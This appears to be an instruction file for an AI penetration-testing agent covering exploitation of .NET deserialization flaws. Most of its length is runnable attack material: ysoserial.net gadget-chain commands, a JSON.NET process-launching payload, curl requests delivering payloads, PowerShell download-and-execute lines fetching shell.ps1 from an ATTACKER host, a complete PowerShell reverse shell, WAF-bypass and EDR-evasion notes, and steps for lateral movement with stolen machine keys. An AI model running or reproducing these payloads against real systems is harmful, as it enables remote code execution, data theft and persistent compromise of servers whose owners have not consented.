Exploit .NET deserialization vulnerabilities during authorized penetration testing.
Install
npx skillscat add blacklanternsecurity/red-run/deserialization-dotnet Install via the SkillsCat registry.
.NET Deserialization
You are helping a penetration tester exploit .NET deserialization
vulnerabilities. The target application uses dangerous .NET formatters or
exposes ViewState/JSON endpoints that deserialize untrusted data, enabling
gadget chain attacks for remote code execution. All testing is under explicit
written authorization.
Engagement Logging
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
- Print
[deserialization-dotnet] Activated → <target>to the screen on activation. - Evidence → save significant output to
engagement/evidence/with
descriptive filenames (e.g.,sqli-users-dump.txt,ssrf-aws-creds.json).
Do NOT write to engagement/activity.md, engagement/findings.md, or
engagement state. The orchestrator maintains these files. Report all findings
in your return summary.
State Management
Call get_state_summary() from the state-reader MCP server to read current
engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Do NOT write engagement state. When your work is complete, report all
findings clearly in your return summary. The orchestrator parses your summary
and records state changes. Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- A .NET deserialization endpoint (ViewState, JSON API, SOAP, .NET Remoting,
cookie, WCF) - Tools:
ysoserial.exe(Windows — .NET Framework required), optionallyBlacklist3rorBadSecrets(Python) for machine key checks - Proxy (Burp Suite) for intercepting and modifying serialized data
Step 1: Assess
If not already provided, determine:
- Serialization format — look for these signatures:
| Signature | Format | Where Found |
|---|---|---|
AAEAAAD (base64) |
BinaryFormatter | Parameters, cookies, ViewState |
/w (base64 prefix) |
.NET ViewState | __VIEWSTATE parameter |
$type field in JSON |
JSON.NET (Newtonsoft) | API request/response bodies |
| SOAP XML with CLR types | SoapFormatter | .NET Remoting, WCF |
Entry point type:
__VIEWSTATEhidden form field (ASP.NET WebForms)- JSON request bodies with
$typeproperty - Cookies (Forms Authentication, session state)
- SOAP/WCF service endpoints (
.svc,.asmx) - .NET Remoting endpoints
Formatter in use — determines which gadgets work:
| Formatter | Risk | Gadgets |
|---|---|---|
| BinaryFormatter | Critical | TypeConfuseDelegate, PSObject, DataSet |
| LosFormatter | Critical | TypeConfuseDelegate, TextFormattingRunProperties |
| ObjectStateFormatter | Critical | TypeConfuseDelegate, PSObject |
| SoapFormatter | Critical | TypeConfuseDelegate, ActivitySurrogateSelector |
| NetDataContractSerializer | High | TypeConfuseDelegate, ObjectDataProvider |
| JSON.NET (TypeNameHandling != None) | High | ObjectDataProvider, WindowsIdentity |
| DataContractSerializer | Medium | ObjectDataProvider (if type controlled) |
| XmlSerializer | Medium | Limited (requires type control) |
Skip if context was already provided.
Step 2: ViewState Attacks
The most common .NET deserialization vector. ASP.NET serializes page state
into __VIEWSTATE, signed and optionally encrypted with machine keys.
Check for Known Machine Keys
# Blacklist3r — checks against 3000+ published machine keys
Blacklist3r.exe --viewstate "__VIEWSTATE_VALUE" --generator "__VIEWSTATEGENERATOR_VALUE"
# BadSecrets (Python — cross-platform)
pip install badsecrets
python -m badsecrets --viewstate "__VIEWSTATE_VALUE" --generator "GENERATOR"Machine key sources:
- Public disclosure (GitHub, deployment guides, Stack Overflow)
- Sitecore deployment guide sample keys (CVE-2025-53690)
- SSRS default keys
.envorweb.configvia path traversal- After initial access: dump from IIS configuration
Generate ViewState Payload
# Basic RCE via LosFormatter + TypeConfuseDelegate
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate \
-c "powershell.exe -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')" \
-o base64
# Using TextFormattingRunProperties (alternative gadget)
ysoserial.exe -f LosFormatter -g TextFormattingRunProperties \
-c "cmd /c whoami > c:\inetpub\wwwroot\proof.txt" -o base64
# ViewState plugin (handles signing/encryption with known keys)
ysoserial.exe -p ViewState \
--validationkey="VALIDATION_KEY_HEX" \
--decryptionkey="DECRYPTION_KEY_HEX" \
--generator="__VIEWSTATEGENERATOR" \
--validationalg="SHA1" \
--decryptionalg="AES" \
-c "cmd /c whoami"Machine Key Format
<!-- web.config -->
<machineKey
validationKey="64_HEX_CHARS"
decryptionKey="32_HEX_CHARS"
validation="SHA1"
decryption="AES" />- validationKey: 64 hex chars (256-bit HMAC key)
- decryptionKey: 32 hex chars (128-bit AES key)
- validation: SHA1, MD5, HMACSHA256, HMACSHA384, HMACSHA512
- decryption: AES, 3DES
Send Crafted ViewState
# POST to the target page with crafted __VIEWSTATE
curl -X POST https://TARGET/page.aspx \
-d "__VIEWSTATE=PAYLOAD_BASE64&__VIEWSTATEGENERATOR=GENERATOR&__EVENTVALIDATION=VALIDATION"Step 3: JSON.NET Exploitation
When JSON.NET (Newtonsoft.Json) is configured with TypeNameHandling other
than None, the $type property controls which .NET type is instantiated.
Detect Vulnerable Configuration
Look for $type in JSON responses — if the application includes type
information in responses, it likely deserializes type information from
requests too.
ObjectDataProvider RCE
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"$values": ["cmd.exe", "/c whoami"]
},
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
}
}WindowsIdentity Bridge (JSON.NET → BinaryFormatter)
Enables BinaryFormatter gadgets in JSON.NET context:
# Generate via ysoserial.net
ysoserial.exe -f Json.Net -g WindowsIdentity -c "cmd /c whoami" -o base64ysoserial.net JSON.NET Commands
# ObjectDataProvider
ysoserial.exe -f Json.Net -g ObjectDataProvider -c "calc" -o raw
# WindowsIdentity (bridge to BinaryFormatter chains)
ysoserial.exe -f Json.Net -g WindowsIdentity -c "cmd /c whoami" -o raw
# Output as base64
ysoserial.exe -f Json.Net -g ObjectDataProvider -c "whoami" -o base64Step 4: BinaryFormatter / SoapFormatter
For endpoints using BinaryFormatter (signature: AAEAAAD in base64) or
SoapFormatter (SOAP XML with .NET CLR type names).
# BinaryFormatter with TypeConfuseDelegate
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe" -o base64
# BinaryFormatter with PSObject (pre-CVE-2017-8565 patch)
ysoserial.exe -f BinaryFormatter -g PSObject -c "calc.exe" -o base64
# BinaryFormatter with DataSet
ysoserial.exe -f BinaryFormatter -g DataSet -c "calc.exe" -o base64
# SoapFormatter
ysoserial.exe -f SoapFormatter -g TypeConfuseDelegate -c "calc.exe" -o base64
# NetDataContractSerializer
ysoserial.exe -f NetDataContractSerializer -g TypeConfuseDelegate -c "calc.exe" -o base64
# Send raw binary
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "whoami" -o raw > payload.bin
curl -X POST https://TARGET/endpoint \
-H "Content-Type: application/x-net-serialized-object" \
--data-binary @payload.binStep 5: .NET Remoting
.NET Remoting endpoints use BinaryFormatter or SoapFormatter for
communication. Often found on custom ports (9000-9999).
Detection
# Look for AAEAAAD signatures in responses
curl -s http://TARGET:PORT/ | base64 -d 2>/dev/null | xxd | head
# Check for .NET Remoting error messages
curl -s http://TARGET:PORT/ -H "Content-Type: application/octet-stream"Exploitation
# If TypeFilterLevel=Full (unrestricted deserialization)
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "cmd /c whoami" -o raw > payload.bin
curl -X POST http://TARGET:PORT/endpoint \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.bin
# SoapFormatter variant
ysoserial.exe -f SoapFormatter -g TypeConfuseDelegate -c "cmd /c whoami" -o raw > payload.bin
curl -X POST http://TARGET:PORT/endpoint \
-H "Content-Type: text/xml" --data-binary @payload.binWAF Bypass for .NET Remoting
- Change HTTP version from 1.1 to 1.0
- Remove or modify Host header
- Use unusual Content-Type values
- Replace HTTP method with space character
Step 6: Framework-Specific Attacks
SharePoint
# CVE-2025-53770 — deserialization RCE (CVSS 9.8)
# Often chained with auth bypass (CVE-2025-53771 — Referer spoofing)
# Check for exposed WebPart config endpoints
# Generate payload for SharePoint
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate \
-c "powershell -nop -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')" \
-o base64Sitecore (CVE-2025-53690)
# ViewState deserialization on /sitecore/blocked.aspx
# Uses sample machine keys from Sitecore deployment guide (2017-2019)
# Check with Blacklist3r/BadSecrets first
python -m badsecrets --viewstate "__VIEWSTATE" --generator "GENERATOR"Telerik UI (CVE-2019-18935)
# Telerik UI for ASP.NET AJAX deserialization
# POST to Telerik.Web.UI handler endpoints
# Check: /Telerik.Web.UI.DialogHandler.aspx
# Check: /Telerik.Web.UI.SpellCheckHandler.axdStep 7: Blind Detection
When you can't see direct output from deserialization:
Time-based:
# Payload that causes delay
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate \
-c "cmd /c timeout 10" -o base64
# Measure response time — >10s indicates executionDNS callback:
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate \
-c "cmd /c nslookup ID.oastify.com" -o base64
# Monitor Burp Collaborator for DNS callbackFile write proof:
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate \
-c "cmd /c echo PROOF > c:\inetpub\wwwroot\proof.txt" -o base64
# Then: curl https://TARGET/proof.txtStep 8: Escalate or Pivot
Reverse Shell via MCP
When RCE is confirmed, prefer catching a reverse shell via the MCP
shell-server over continuing to generate gadget chain payloads for each
command.
- Call
start_listener(port=<port>)to prepare a catcher on the attackbox - Send a reverse shell payload via the deserialization vector (PowerShell):
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER',PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" - Call
stabilize_shell(session_id=...)to upgrade to interactive PTY - Use
send_command()for all subsequent commands
If the target lacks outbound connectivity, continue with inline command
execution and note the limitation in the engagement state.
- Got RCE + shell stabilized: STOP. Return to orchestrator recommending
linux-discovery or windows-discovery (based on target OS). Pass:
hostname, current user, shell session ID, and access method. - Machine keys obtained: Forge ViewState for any ASP.NET application
sharing those keys — lateral movement across IIS sites - Found credentials in web.config: Connection strings, API keys — route
to database access or service exploitation - SharePoint/Exchange compromised: Dump additional machine keys, pivot
to AD via service accounts - JSON.NET in API: Test all API endpoints accepting JSON for
TypeNameHandling exploitation
Update engagement/state.md with any new credentials, access, vulns, or pivot paths discovered.
When routing, pass along: confirmed formatter/gadget, target framework,
machine keys if obtained, and any payloads that succeeded.
Stall Detection
If you have spent 5 or more tool-calling rounds on the same failure with
no meaningful progress — same error, no new information, no change in output
— stop.
What counts as progress:
- Trying a variant or alternative documented in this skill
- Adjusting syntax, flags, or parameters per the Troubleshooting section
- Gaining new diagnostic information (different error, partial success)
What does NOT count as progress:
- Writing custom exploit code not provided in this skill
- Inventing workarounds using techniques from other domains
- Retrying the same command with trivially different input
- Compiling or transferring tools not mentioned in this skill
If you find yourself writing code that isn't in this skill, you have left
methodology. That is a stall.
Do not loop. Work through failures systematically:
- Try each variant or alternative once
- Check the Troubleshooting section for known fixes
- If nothing works after 5 rounds, you are stalled
When stalled, return to the orchestrator immediately with:
- What was attempted (commands, variants, alternatives tried)
- What failed and why (error messages, empty responses, timeouts)
- Assessment: blocked (permanent — config, patched, missing prereq) or
retry-later (may work with different context, creds, or access)
When stalled: Tell the user you're stalled, present what was tried, and
recommend the next best path. Return findings to the orchestrator — it will
decide whether to revisit with new context or route elsewhere.
OPSEC Notes
- ViewState payloads visible in POST data — anomalous size may trigger WAF
AAEAAADbase64 signatures may be flagged by IDS/WAF rules- ysoserial.net gadgets contain distinctive .NET class names detectable by EDR
- .NET Remoting exploitation may generate event log entries
- Machine key extraction from compromised servers should be done carefully —
keys enable persistent access across all IIS applications
Troubleshooting
ysoserial.net Requires Windows
- ysoserial.net requires .NET Framework (Windows only)
- For cross-platform: generate payloads on a Windows VM/container, transfer
base64 output to your attack machine - Some gadgets available in alternative tools (BadSecrets for ViewState)
ViewState MAC Validation Fails
- Verify machine keys are correct (validationKey + decryptionKey)
- Check validation algorithm (SHA1, HMACSHA256, etc.) matches
- Verify
__VIEWSTATEGENERATORvalue matches the target page - Different .NET Framework versions may handle ViewState differently
- Try both encrypted and unencrypted ViewState generation
JSON.NET Payload Rejected
- Verify
TypeNameHandlingis notNone(check response for$typehints) - Include full assembly-qualified type names with Version/Culture/PublicKeyToken
- Some applications use custom
SerializationBinderthat whitelists types - Try WindowsIdentity gadget as bridge when ObjectDataProvider is blocked
Gadget Chain Not Working
- TypeConfuseDelegate: most reliable for BinaryFormatter-based formatters
- ObjectDataProvider: requires WPF (PresentationFramework.dll) on server —
may not be present on Server Core installations - PSObject: requires pre-CVE-2017-8565 patch level
- Try DataSet or TextFormattingRunProperties as alternatives
- Check .NET Framework version — some gadgets require specific versions